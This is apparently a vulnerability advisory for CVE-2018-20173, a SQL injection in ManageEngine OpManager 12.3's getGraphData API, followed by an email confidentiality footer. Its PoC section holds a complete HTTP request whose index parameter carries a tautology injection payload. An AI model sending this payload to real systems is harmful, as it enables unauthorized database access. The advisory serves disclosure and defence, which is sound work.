I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 before 123238 allows SQL injection
via the getGraphData API.
II. CVE REFERENCE
-------------------------
CVE-2018-20173
III. VENDOR
-------------------------
https://www.manageengine.com
IV. TIMELINE
-------------------------
20/11/18 Vulnerability discovered
20/11/18 Vendor contacted
17/12/2018 OPManager replay that they fixed
V. CREDIT
-------------------------
Murat Aydemir from Biznet Bilisim A.S.
VI. DESCRIPTION
-------------------------
ManageEngine OPManager product(version 12.3) was vulnerable to SQL
Injection attacks. A successfully exploit of this attack could allow
arbitrary code execution or unauthenticated access in databases
information.
References: https://www.manageengine.com/network-monitoring/help/read-me.html
https://bugbounty.zoho.com/bb/info#hof
VII. PoC
-------------------------
GET /api/json/v2/device/getGraphData?name=192.168.252.150&policyName=WMI-MemoryUtilization&index=WMI-MemoryUtilization10376381'%20or%20'11'%3d'11&period=Today&withMMA=true&apiKey=XXXXXXXXXX&_=1539935355622
HTTP/1.1
Host: vulnerablehost.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vulnerablehost.com/apiclient/ember/index.jsp
OPMCurrentRoute:
http%3A%2F%2F192.168.252.150%3A8061%2Fapiclient%2Fember%2Findex.jsp%23%2FInventory%2FSnapshot%2FMonitoringDevice%2F192.168.252.150%2FPerfGraph%2FWMI-MemoryUtilization%2FWMI-MemoryUtilization
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=XXXXXXXXXXX; encryptPassForAutomaticSignin=XXXXXXX;
userNameForAutomaticSignin=admin;
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;
authrule_name=Authenticator; NFA__SSO=XXXXXXXXX;
opmcsrfcookie=XXXXXXXXX
DNT: 1
Connection: close
--
Bu mesaj ve ekleri, mesajda
gönderildi\u0178i belirtilen
ki\u0178i/ki\u0178ilere özeldir ve gizlidir. Bu mesaj
herhangi bir amaç için
ço\u0178altılamaz, da\u0178ıtılamaz ve yayınlanamaz.
Mesajın gönderildi\u0178i ki\u0178i
de\u0178ilseniz, mesaj içeri\u0178ini ya da eklerini
kopyalamayınız, yayınlamayınız
ya da ba\u0178ka ki\u0178ilere yönlendirmeyiniz ve
mesajı gönderen ki\u0178iyi derhal
uyararak bu mesajı siliniz. \u017eirketimiz,
mesajın içeri\u0178inin ve eklerinin
size de\u0178i\u0178ikli\u0178e u\u0178rayarak veya geç
ula\u0178masından; gizlili\u0178inin
korunmamasından; virüs içermesinden ve
bilgisayar sisteminize verebilece\u0178i
herhangi bir zarardan sorumlu
de\u0178ildir
This message and its
attachments
are confidential and intended solely for the recipient(s)
stated therein.
This message cannot be copied, distributed or published
for any purpose.
If you are not the intended recipient, please do not
copy, publish or
forward the information existing in the content and
attachments of this
message. In such case please notify the sender
immediately and delete all
the copies of the message. Our company shall
have no liability for any
changes in or late receiving of the message,
loss of integrity and
confidentiality, viruses and any damages caused in
anyway to your computer
system based on this message.
